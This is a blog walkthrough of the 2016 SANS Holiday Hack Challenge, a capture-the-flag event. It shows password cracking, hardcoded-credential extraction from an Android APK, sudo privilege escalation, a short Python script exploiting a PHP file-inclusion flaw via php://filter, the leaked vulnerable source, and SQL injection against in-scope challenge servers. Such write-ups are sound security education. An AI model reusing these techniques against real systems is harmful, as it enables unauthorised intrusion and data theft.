2016 SANS Holiday Hack Challenge Writeup (Walkthrough)

Its my favorite time of the year again: SANS Holiday Hack Challenge Time:
https://holidayhackchallenge.com/2016/

So lets start with the Writeup:

Part 1: A Most Curious Business Card

Oh noes! Santa got kidnapped! But he lost his business card:

bildschirmfoto-2016-12-11-um-22-48-45

 

But good news he left clues on his Twitter and Instagram!
So lets answer the questions:

1) What is the secret message in Santa’s tweets?

Santas Tweets look like gibberish, but they have interesting dots in them! I wanted to get them in a neat text file to make it easier to spot any patterns.

There are multiple ways to achieve this. I chose the quickest: Just use a website to grab all the tweets:

bildschirmfoto-2016-12-11-um-22-58-40

 

Twlets.com in this case lets you save all tweets of an account as csv easily. The result viewed in Excel already showed an interesting pattern:

bildschirmfoto-2016-12-13-um-21-11-12

 

Not perfectly visible yet but when you put it in a monospaced terminal you can see it perfectly:

bildschirmfoto-2016-12-11-um-23-00-51

 

Lets zoom out:

bildschirmfoto-2016-12-11-um-23-01-13

 

And the answer is: BugBounty \o/

2) What is inside the ZIP file distributed by Santa’s team?

One of the Elves gave me a dungeon.zip containing an old Text Based Adventure Game in form of an 64bit Elf Binary:

bildschirmfoto-2016-12-13-um-21-29-38

 

However this questions most likely is centered around a different zip file ;)

On Santas Business card we can see he has an Instagram Account! This is one of the pictures on his Instagram:

instagram

 

If you zoom in on the Display you can see this:

santagram

 

SantaGram_v4.2.zip!

Now where could we get our hands on this? Lets take a look where the other download came from:

http://www.northpolewonderland.com/dungeon.zip

Now lets try to be really sneaky and try this:

http://www.northpolewonderland.com/SantaGram_v4.2.zip

We have a winner! \o/

Now to answer whats inside of the ZIP file we have to get it open first, as it is password protected:

bildschirmfoto-2016-12-28-um-12-30-33

 

John to the rescue!

The default John that comes with Kali had issues with PKZIP so I downloaded the latest JTR Jumbo from Openwall.

Before investing to much energy intro cracking the password cleverly I tried the low hanging fruit: Pure Bruteforce!

 root@kali:/opt/JohnTheRipper/run# ./zip2john /root/Desktop/hack/SantaGram_v4.2.zip 
ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54
SantaGram_v4.2.zip:$pkzip2$1*2*2*0*1df34a*2271ee*ede16a54*0*4b*8*1df34a*ede1*45ec*a9e4d5fbccd3ed909cfab044ec6e37b82318b565ef029f69c1c1ff17b4847d172f7b15f60c05993193998054b8af5b2c6c6d619629a69f17554eed977dde48fd9e9863bfd78...
....
5e470450e30c1e16bdbb4dd95b4bfdd154263df57600e7359fcee03e4e1bf125c79707616a1719f826122522bf9174292c25fa8becc1e0a9ce453cc491366fd837220a8a11e260d09b14109595af02c75689280d3fa8f07e024ad5d4ebfa1f00f...$/pkzip2$:::::/root/Desktop/hack/SantaGram_v4.2.zip
root@kali:/opt/JohnTheRipper/run# ./zip2john /root/Desktop/hack/SantaGram_v4.2.zip > /tmp/hash.txt
ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54
root@kali:/opt/JohnTheRipper/run# ./john /tmp/hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:36 3/3 0g/s 7459Kp/s 7459Kc/s 7459KC/s eg611t..ew0sow
0g 0:00:05:39 3/3 0g/s 10380Kp/s 10380Kc/s 10380KC/s wqz7QE..wqz_3t
bugbounty (SantaGram_v4.2.zip)
1g 0:00:06:09 DONE 3/3 (2016-12-28 06:39) 0.002706g/s 10407Kp/s 10407Kc/s 10407KC/s bugbolico..bugbaddor
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Don’t ask me why zip2john.py is outputting the entire f* file instead of just the hash but it worked this way and was cracked in 6 minutes inside a virtual machine running on a 4xCore i7  Macbook….

Ofcourse we already had the password from the hidden twitter message but thinking about this would have taken more effort than just brute forcing it…

So now equipped with the password I can finally answer the question, whats inside of the ZIP file:

zipcracked

 

An Android APK! I like where this is going!

Part 2: Awesome Package Konveyance (APK got it!)

With the APK at hand let me answer question 3&4:

3) What username and password are embedded in the APK file?

This questions can be answered most easily using jadx! With it’s lovely search function I found the hardcoded credentials right away:

jadx-search

 

And here it is:

hardcoded-credsSo to Answer the question directly, the hardcoded Credentials in the APK are:

username: "guest"
password: "busyreindeer78"

4) What is the name of the audible component (audio file) in the SantaGram APK file?

The easiest way to get to the audio is to just unzip the APK:

root@kali:~/Desktop/hack# unzip SantaGram_4.2.apk 
Archive: SantaGram_4.2.apk
 inflating: AndroidManifest.xml 
 inflating: META-INF/CERT.RSA 
...
...
...
extracting: res/mipmap-xxhdpi-v4/ic_launcher.png 
 extracting: res/mipmap-xxxhdpi-v4/ic_launcher.png 
 extracting: res/raw/discombobulatedaudio1.mp3 
 extracting: resources.arsc 
root@kali:~/Desktop/hack# 

The name of the audible component is: discombobulatedaudio1.mp3

Part 3: A Fresh-Baked Holiday Pi

After collecting all Parts of the Rasp…. Errrr. Cranberry Pi I was provided the the SD Card Image for it from one of the Elves:

pimagecranbian.img.zip

5) What is the password for the “cranpi” account on the Cranberry Pi system?

To solve this I needed to mount the Cranberry Pi Images as was well described in a SANS Blog Article provided by one of the Elfs:

cranpiimageelf

SANS Blog: Mount a Raspberry Pi FileSystem Image

Raspian / Cranpian is a Debian based Linux so as with every Linux the password Hash can be obtained from shadow:

root@kali:~/Desktop/hack# fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device Boot Start End Sectors Size Id Type
cranbian-jessie.img1 8192 137215 129024 63M c W95 FAT32 (LBA)
cranbian-jessie.img2 137216 2713599 2576384 1.2G 83 Linux
root@kali:~/Desktop/hack# echo $((512*137216))
70254592
root@kali:~/Desktop/hack# mkdir mount
root@kali:~/Desktop/hack# mount -v -o offset=70254592 -t ext4 cranbian-jessie.img mount/
mount: /dev/loop0 mounted on /root/Desktop/hack/mount.
root@kali:~/Desktop/hack# cat mount/etc/shadow
root:*:17067:0:99999:7:::
daemon:*:17067:0:99999:7:::
bin:*:17067:0:99999:7:::
sys:*:17067:0:99999:7:::
sync:*:17067:0:99999:7:::
games:*:17067:0:99999:7:::
man:*:17067:0:99999:7:::
lp:*:17067:0:99999:7:::
mail:*:17067:0:99999:7:::
news:*:17067:0:99999:7:::
uucp:*:17067:0:99999:7:::
proxy:*:17067:0:99999:7:::
www-data:*:17067:0:99999:7:::
backup:*:17067:0:99999:7:::
list:*:17067:0:99999:7:::
irc:*:17067:0:99999:7:::
gnats:*:17067:0:99999:7:::
nobody:*:17067:0:99999:7:::
systemd-timesync:*:17067:0:99999:7:::
systemd-network:*:17067:0:99999:7:::
systemd-resolve:*:17067:0:99999:7:::
systemd-bus-proxy:*:17067:0:99999:7:::
messagebus:*:17067:0:99999:7:::
avahi:*:17067:0:99999:7:::
ntp:*:17067:0:99999:7:::
sshd:*:17067:0:99999:7:::
statd:*:17067:0:99999:7:::
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:17140:0:99999:7:::

As I have a lovely password cracking / VR Gaming Rig set up with a GTX1080 I transferred the cracking of the password-hash to GPU this time:

First I quickly used John on Kali to identify the hash type:

johnabuse

Then I switched over to my “work computer”:

spielekiste5 Seconds, thats okay!

And the answer is: yummycookies

6) How did you open each terminal door and where had the villain imprisoned Santa?

Now we are getting down to some Linux Skills! There are 5 Doors with Cranberry Pi Interfaces:

Door 1: Elf House #2 – Room 2

Where is this Shell coming from?

snitch

 

Thats where it is coming from!

To solve the Door I have to gain Access to a pcap file and find 2 halves of the Password string:

sudo0

Im user scratchy and only user itchy can access it! So how to get at it?

sudo1

 

So like with every good privesc you want to check sudo first! sudo -l lists my options in the sudoers file and as you can see I can access tcpdump and strings as itchy without a password.

Now isn’t that convenient! Lets read it with tcpdump:

tcpdump

The first half of the password was presented right away:

firstpart

It’s “santasli“! Now lets hunt for the second part with strings!

After having no success with strings in default mode i remembered that you can switch the encoding strings uses to search for strings, so I make it a habit to just try all encodings:

part2And there is the second part: “ttlehelper“!

So the password for the door is: “santaslittlehelper“!

Behind the Door is Alabaster Snowball with some usefull Burp JSON Tips:

alabastaDoor 2: Santa’s Office

A hidden file on Linux! Oh noes!

finditallNow before I break my fingers accessing this mess from hand I just let find do the work:

open_sesame

 

So the key for this door is: “open_sesame

But what do we have in Santa’s office? Door-Ception! Another Terminal! And a hidden door in the bookshelf:

Door 3: The Corridor

doorception

 

Lets see what the Terminal Game is this time:

wargames

HA! I know this line! I’m not sure which, but one of the vulnhub VMs I did this year had a Wargames reference like this too!

So I looked up the youtube video of this scene:

youtube

And figured out that I am supposed to reenact the scene 100%:

greetingsfalken

Eventually I got the password for the hidden door:

password

LOOK AT THE PRETTY LIGHTS“!

Now behind that door I was stuck in The Corridor… For now I cannot open this door because it has no Terminal and no other clues how to open it!

the-corridor

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

To the next door!

Door 4: DFER (Dungeon For Errant Reindeer)

wumpus1

 

Another text based game! Boy do I love them…. NOT

Luckily I figured out that if you just send the command s! It just shoots into a random room! It took me 2 restarts to kill the wumpus by accident!

wumpusdeadNow is this cheating? I don’t know….

The password however is “WUMPUS IS MISUNDERSTOOD”

Behind the door you can find Santas Dungeon:

santasdungeonLast but not least:

Door 5: 1978

The last Terminal can be used to start a TimeTravelTrain (I call it TTT-Terminal)!

tttt

 

But to start the Train I need a password!

Good thing the Help menu uses LESS wich has Terminal Escape functions:

less1And here is the password: “24fb3e89ce2aa0ea422c3d511d40dd84

passwordNow back to the Futur…ERR… Past!

backtothepast

ENTER And 1978 it is:

1978I helped someone! I feel good about that!

Now after wandering around and collecting coins I stumbled over Santa in the DFER of 1978:

santaThats when I saw the outro for the first time:

outro

 

Yay that was fun! But the real challenge only starts now!

Part 4: My Gosh… It’s Full of Holes

7) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN AT THE NORTH POLE, ATTEMPT TO REMOTELY EXPLOIT EACH OF THE FOLLOWING TARGETS:

All the In-Scope Addresses can be found inside of the APK:

addresses

 

The Mobile Analytics Server (via credentialed login access)

URL: https://analytics.northpolewonderland.com/

This one is pretty easy!  Remember the hardcoded credentials from question No. 3?
When you look closely below the JSON object you can see that the creds are for the Analytics Server:

analcredsLets test this:

analoginAnd here is the second mp3: discombobulatedaudio2.mp3
(Remember the first one was in the APK!)

anamp3Vulnerability for this System:

Hardcoded Credentials inside of the Android APK allows login and exfiltration of potentially sensitive Data!

The Dungeon Game (also called Zork)

Url: http://dungeon.northpolewonderland.com/

An Nmap Scan of the Server reveals an open port TCP 11111:

MahcBook-Pro:~ sebastianbrabetz$ nmap dungeon.northpolewonderland.com

Starting Nmap 7.00 ( https://nmap.org ) at 2016-12-29 18:02 CET
Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (0.21s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 994 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
11111/tcp open     vce

Nmap done: 1 IP address (1 host up) scanned in 19.52 seconds

Connecting reveals an online Version of the Dungeon game:

MahcBook-Pro:~ sebastianbrabetz$ ncat dungeon.northpolewonderland.com 11111

Welcome to Dungeon. This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded front door.
There is a small wrapped mailbox here.
>

There are 2 ways to solve the Dungeon game:

1. Cheat using the hidden Debug mode

When you do strings on the dungeon binary you get from one of the Elves in the Workshop you can kinda spot a Debug “Shell”:

stringsTrying it in the Game showed its really a “secret mode”:

ingame-gdt

However I never figured out how to cheat this way as it was easier to just solve the Game by playing it:

2. Finding the Northpole and give a Gift to the Troll:

After playing the game a while I figured out that you are supposed to find a secret passage to the Northpole and you will reach it by basically climb up every chimney to can find in the game.

Once there you need to provide a Troll with one of the Trophy’s you are supposed to collect in the normal game mode:

troll

 

Shortly after sending an email to “peppy” I received the answer containing my third mp3: discombobulatedaudio3.mp3

answer

Vulnerability for this System:

I am not quite sure if you can call this a real vulnerability. I would rather say the game is supposed to work like this.  However you could call the hidden Debug service a problem because just because its not document does not mean the Debug service cannot be found.

Lesson: Security by Obscurity does not work! Someone somewhere will figure it out eventually!

The Debug Server

Url: http://dev.northpolewonderland.com

To solve this machine its important to understand the Interaction of the App with the Server first!

I used the URL inside strings.xml as a starting point and searched the entire APK for the name of the variable the URL gets stored in: debug_data_collection_url

debugsearch

This reveals the relevant part of code:

debugcode

To get a proper API call I wanted to trigger this function!

However if you read the code closely you see that the function will only trigger if Remote Logging is set to true in strings.xml:

debugstring

 

To set this value to “true” I used apktool to disassemble the the APK to smali code:

MahcBook-Pro:challenge 2 sebastianbrabetz$ ./apktool d SantaGram_4.2.apk 
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/sebastianbrabetz/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

And then replaced the false with true:

MahcBook-Pro:values sebastianbrabetz$ pwd
/Users/sebastianbrabetz/Desktop/hackchallenge2016/challenge 2/SantaGram_4.2/res/values
MahcBook-Pro:values sebastianbrabetz$ sed -i '' 's/<string name="debug_data_enabled">false/<string name="debug_data_enabled">true/g' strings.xml

And finally build the APK again:

MahcBook-Pro:challenge 2 sebastianbrabetz$ ./apktool b SantaGram_4.2
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...

Before this repacked APK can be installed it needs to be signed though. Gladly a self-signed Certificate will suffice for this!

This basically involves 2 Steps on a Mac:

  1. Create your own Keystore:keytool -genkey -keystore (name).keystore -validity 10000 -alias (name)
  2. Sign APK with this Keystore:jarsigner -keystore (keystorenamename).keystore -verbose NameOf.apk (keystorename)

With the now modified, repacked and self-signed APK I was able to observe the Debug Server API function call via Burp:

debugburpburp

And using the “copy to curl” command from Burp I played around with the API from bash. What I saw in the replies was that the Server answered with a “verbose: false” setting even though I did not specify it.

So I just tried to send a “verbose: true“:

verbosetrue

Low and behold, the server disclosed me the location of my fourth mp3: debug-20161224235959-0.mp3

The ID3 Tag disclosed that it is in fact: discombobulatedaudio4.mp3

id3

Vulnerability for this System:

Again I would not necessarily say this is a vulnerability, but it should be expected that people can reverse engineer Android applications and point them to preprogrammed dev systems to obtain Information that might not be classified for public consumption.

Again you should never rely on security by obscurity!

Maybe better: Strip Debug Code from the APK before you release it to the public! Once code / APKs leave your environment they are fair game! Never try to hide stuff in Android APKs!

The Banner Ad Server

Url: http://ads.northpolewonderland.com

Visiting the Website hosted on this Server and investigating its Source I quickly found that it is using MeteorJS:

sourceGood thing one of the Elves pointed me to the lovely SANS Blog Post: Mining Meteor

Equipped with Tampermonkey and the MeteorMiner Script I quickly found the “hidden” routes:

routesFollowing the Blog Article to the letter I was eventually able to find my 5th mp3: discombobulatedaudio5.mp3 

audio

 

Vulnerability for this System:

Main Problem: complex software was not understood in its entirety! The Meteor Framework for this WebApp was not configured tightly enough and Data was leaked without authentication.

The Uncaught Exception Handler Server

Url: http://ex.northpolewonderland.com

Scanning the Server is only showing Port 22 and 80 open and on the Webserver there is only a 403 Forbidden page beside the exception.php referenced in the Android APK.

Lets follow the Source-code again and check where the variable exhandler_url is used:

writecrashdump-functionSo I whipped up a small python script to talk to the API:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',
json={
"operation": "WriteCrashDump",
"crashdump": "test",
"data": {"crashdump": "test"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

Lets run it:

root@kali:~/Desktop/hack/json# ./temp1.py 
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "crashdump-MdXDrS.php"
}

Looks good, lets view it in Browser:

creashdumpbrowserNow if that doesn’t look like a Remote Code execution vulnerability! Better yet lets try the Source code leak / LFI the one Elf pointed out in this cool SANS Blog Article: Getting MOAR Value out of PHP Local File Include Vulnerabilities

So lets try to weaponize this knowledge:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',

json={
"operation": "WriteCrashDump",
"crashdump": "test",
"data": {"crashdump": "php://filter/convert.base64-encode/resource=crashdump-81N0mz.php"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

Lets try this:

root@kali:~/Desktop/hack/json# ./json-exception-writecrashdump.py 
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "crashdump-dFb497.php"
}

And look again at it in browser:

failFail! :-(

But wait! Where there is WriteCrashDump there might be ReadCrashDump as well!

Lets try this:

#!/usr/bin/python

import requests
r = requests.post(
'http://ex.northpolewonderland.com/exception.php',

json={
"operation": "ReadCrashDump",
"crashdump": "test",
"data": {"crashdump": "php://filter/convert.base64-encode/resource=exception"}
})
headers = {'Content-type': 'application/json'}
print(r.content)

And run it:

root@kali:~/Desktop/hack/json# ./json-exception-readcrashdump.py 
PD9waHAgCgojIEF1ZGlvIGZpbGUgZnJvbSBEaXNjb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLWF1ZGlvLTYtWHl6RTNOOVlxS05ILm1wMwoKIyBDb2RlIGZyb20gaHR0cDovL3RoaXNpbnRlcmVzdHNtZS5jb20vcmVjZWl2aW5nLWpzb24tcG9zdC1kYXRhLXZpYS1waHAvCiMgTWFrZSBzdXJlIHRoYXQgaXQgaXMgYSBQT1NUIHJlcXVlc3QuCmlmKHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10sICdQT1NUJykgIT0gMCl7CiAgICBkaWUoIlJlcXVlc3QgbWV0aG9kIG11c3QgYmUgUE9TVFxuIik7Cn0KCSAKIyBNYWtlIHN1cmUgdGhhdCB0aGUgY29udGVudCB0eXBlIG9mIHRoZSBQT1NUIHJlcXVlc3QgaGFzIGJlZW4gc2V0IHRvIGFwcGxpY2F0aW9uL2pzb24KJGNvbnRlbnRUeXBlID0gaXNzZXQoJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA/IHRyaW0oJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA6ICcnOwppZihzdHJjYXNlY21wKCRjb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL2pzb24nKSAhPSAwKXsKICAgIGRpZSgiQ29udGVudCB0eXBlIG11c3QgYmU6IGFwcGxpY2F0aW9uL2pzb25cbiIpOwp9CgkKIyBHcmFiIHRoZSByYXcgUE9TVC4gTmVjZXNzYXJ5IGZvciBKU09OIGluIHBhcnRpY3VsYXIuCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRvYmogPSBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CgkjIElmIGpzb25fZGVjb2RlIGZhaWxlZCwgdGhlIEpTT04gaXMgaW52YWxpZC4KaWYoIWlzX2FycmF5KCRvYmopKXsKICAgIGRpZSgiUE9TVCBjb250YWlucyBpbnZhbGlkIEpTT04hXG4iKTsKfQoKIyBQcm9jZXNzIHRoZSBKU09OLgppZiAoICEgaXNzZXQoICRvYmpbJ29wZXJhdGlvbiddKSBvciAoCgkkb2JqWydvcGVyYXRpb24nXSAhPT0gIldyaXRlQ3Jhc2hEdW1wIiBhbmQKCSRvYmpbJ29wZXJhdGlvbiddICE9PSAiUmVhZENyYXNoRHVtcCIpKQoJewoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ29wZXJhdGlvbicgbXVzdCBiZSBzZXQgdG8gV3JpdGVDcmFzaER1bXAgb3IgUmVhZENyYXNoRHVtcC5cbiIpOwp9CmlmICggaXNzZXQoJG9ialsnZGF0YSddKSkgewoJaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiV3JpdGVDcmFzaER1bXAiKSB7CgkJIyBXcml0ZSBhIG5ldyBjcmFzaCBkdW1wIHRvIGRpc2sKCQlwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEnXSk7Cgl9CgllbHNlaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiUmVhZENyYXNoRHVtcCIpIHsKCQkjIFJlYWQgYSBjcmFzaCBkdW1wIGJhY2sgZnJvbSBkaXNrCgkJcmVhZENyYXNoZHVtcCgkb2JqWydkYXRhJ10pOwoJfQp9CmVsc2UgewoJIyBkYXRhIGtleSB1bnNldAoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ2RhdGEnIG11c3QgYmUgc2V0LlxuIik7Cn0KZnVuY3Rpb24gcHJvY2Vzc0NyYXNoZHVtcCgkY3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7Cgkkb3V0cHV0ZmlsZW5hbWUgPSB0ZW1wbmFtKCRiYXNlcGF0aCwgImNyYXNoZHVtcC0iKTsKCXVubGluaygkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkb3V0cHV0ZmlsZW5hbWUgPSAkb3V0cHV0ZmlsZW5hbWUgLiAiLnBocCI7CgkkYmFzZW5hbWUgPSBiYXNlbmFtZSgkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkY3Jhc2hkdW1wX2VuY29kZWQgPSAiPD9waHAgcHJpbnQoJyIgLiBqc29uX2VuY29kZSgkY3Jhc2hkdW1wLCBKU09OX1BSRVRUWV9QUklOVCkgLiAiJyk7IjsKCWZpbGVfcHV0X2NvbnRlbnRzKCRvdXRwdXRmaWxlbmFtZSwgJGNyYXNoZHVtcF9lbmNvZGVkKTsKCQkJCglwcmludCA8PDxFTkQKewoJInN1Y2Nlc3MiIDogdHJ1ZSwKCSJmb2xkZXIiIDogImRvY3MiLAoJImNyYXNoZHVtcCIgOiAiJGJhc2VuYW1lIgp9CgpFTkQ7Cn0KZnVuY3Rpb24gcmVhZENyYXNoZHVtcCgkcmVxdWVzdGVkQ3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7CgljaGRpcigkYmFzZXBhdGgpOwkJCgkKCWlmICggISBpc3NldCgkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSkpIHsKCQlkaWUoIkZhdGFsIGVycm9yISBKU09OIGtleSAnY3Jhc2hkdW1wJyBtdXN0IGJlIHNldC5cbiIpOwoJfQoKCWlmICggc3Vic3RyKHN0cnJjaHIoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10sICIuIiksIDEpID09PSAicGhwIiApIHsKCQlkaWUoIkZhdGFsIGVycm9yISBjcmFzaGR1bXAgdmFsdWUgZHVwbGljYXRlICcucGhwJyBleHRlbnNpb24gZGV0ZWN0ZWQuXG4iKTsKCX0KCWVsc2UgewoJCXJlcXVpcmUoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10gLiAnLnBocCcpOwoJfQkKfQoKPz4K

This looks promising! Lets pipe it in base64 decode:

root@kali:~/Desktop/hack/json# ./json-exception-readcrashdump.py | base64 -d
<?php 

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
 die("Request method must be POST\n");
}
 
# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
 die("Content type must be: application/json\n");
}
 
# Grab the raw POST. Necessary for JSON in particular.
$content = file_get_contents("php://input");
$obj = json_decode($content, true);
 # If json_decode failed, the JSON is invalid.
if(!is_array($obj)){
 die("POST contains invalid JSON!\n");
}

# Process the JSON.
if ( ! isset( $obj['operation']) or (
 $obj['operation'] !== "WriteCrashDump" and
 $obj['operation'] !== "ReadCrashDump"))
 {
 die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n");
}
if ( isset($obj['data'])) {
 if ($obj['operation'] === "WriteCrashDump") {
 # Write a new crash dump to disk
 processCrashDump($obj['data']);
 }
 elseif ($obj['operation'] === "ReadCrashDump") {
 # Read a crash dump back from disk
 readCrashdump($obj['data']);
 }
}
else {
 # data key unset
 die("Fatal error! JSON key 'data' must be set.\n");
}
function processCrashdump($crashdump) {
 $basepath = "/var/www/html/docs/";
 $outputfilename = tempnam($basepath, "crashdump-");
 unlink($outputfilename);
 
 $outputfilename = $outputfilename . ".php";
 $basename = basename($outputfilename);
 
 $crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
 file_put_contents($outputfilename, $crashdump_encoded);
 
 print <<<END
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "$basename"
}

END;
}
function readCrashdump($requestedCrashdump) {
 $basepath = "/var/www/html/docs/";
 chdir($basepath); 
 
 if ( ! isset($requestedCrashdump['crashdump'])) {
 die("Fatal error! JSON key 'crashdump' must be set.\n");
 }

 if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) {
 die("Fatal error! crashdump value duplicate '.php' extension detected.\n");
 }
 else {
 require($requestedCrashdump['crashdump'] . '.php');
 } 
}

?>

And I got my sixt mp3: discombobulated-audio-6-XyzE3N9YqKNH.mp3

Vulnerability for this System:

The API allows arbitrary calls to the API and even stores random unsanitized input inside of server-side executed .php files. This would be really funny if such horror-shows would not exist in the real world. Sadly they do!

A better way would be to collect the Debug Data and place it somewhere, where it is not publicly accessible and of course not in any kind of executable format! One way would be as Datablob in the Database or as txt files in the filesystem.

There also should not be a public readable Read function without authentication. A better way would be a properly authenticated Website to view the Debug Data.

Now to the last mp3:

The Mobile Analytics Server (post authentication)

The Elf living in the Trees pointed out you should run nmap always with -sC for script scanning so thats what I did:

MahcBook-Pro:~ sebastianbrabetz$ nmap -sC analytics.northpolewonderland.com

Starting Nmap 7.00 ( https://nmap.org ) at 2016-12-29 23:08 CET
Nmap scan report for analytics.northpolewonderland.com (104.198.252.157)
Host is up (0.28s latency).
rDNS record for 104.198.252.157: 157.252.198.104.bc.googleusercontent.com
Not shown: 998 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-hostkey: 
|   1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
|   2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_  256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open  https
| http-git: 
|   104.198.252.157:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc) 
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00
|_Not valid after:  2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
Nmap done: 1 IP address (1 host up) scanned in 30.57 seconds

That looks interesting, a git repository! Lets wget and inspect that:

git2

Nice! The source code of the Analytics WebApp!

After digging around in the source code for a while something interested me in the query.php source:

 $query = "SELECT * ";
 $query .= "FROM `app_" . $type . "_reports` ";
 $query .= "WHERE " . join(' AND ', $where) . " ";
 $query .= "LIMIT 0, 100";

 if(isset($_REQUEST['save'])) {
 $id = gen_uuid();
 $name = "report-$id";
 $description = "Report generated @ " . date('Y-m-d H:i:s');
 $result = mysqli_query($db, "INSERT INTO `reports`
 (`id`, `name`, `description`, `query`)
 VALUES
 ('$id', '$name', '$description', '" . mysqli_real_escape_string($db, $query) . "')
 ");

 if(!$result) {
 reply(500, "Error saving report: " . mysqli_error($db));
 die();
 }

This looks injectable! Even though it uses mysqli_real_escape_string()! I guess the usage of the apostrophe as single tick is not covered by it…

Good thing there is also a sprusage.sql file in the git repository which gives me the exact layout of the mysql database!

So I intercepted the Website with Burp and played around with the query:

bildschirmfoto-2016-12-22-um-12-56-40Lets run this through repeater:

bildschirmfoto-2016-12-22-um-12-57-06

That looks fantastic! Lets look at it in the browser:

bildschirmfoto-2016-12-22-um-13-02-39

Nice now I have the administrator password!

Lets try to also grab the content of the mp3 table:

bildschirmfoto-2016-12-22-um-13-21-32

Okay looks like the UNION SELECT works! Now lets get creative with the query:

bildschirmfoto-2016-12-22-um-13-29-29

Lets forward this to the Browser:

bildschirmfoto-2016-12-22-um-13-39-25Now one last trick to get the mp3 blob out of there:

bildschirmfoto-2016-12-22-um-14-33-19Base64 to the rescue!!! I just needed to separate the two mp3s and run it through base64 -d…
Now I got my 7th and last mp3: discombobulatedaudio7.mp3

Vulnerability for this System:

User controlled variables were used inside an SQL query! Check out some OWASP presentations about Prepared Statements!

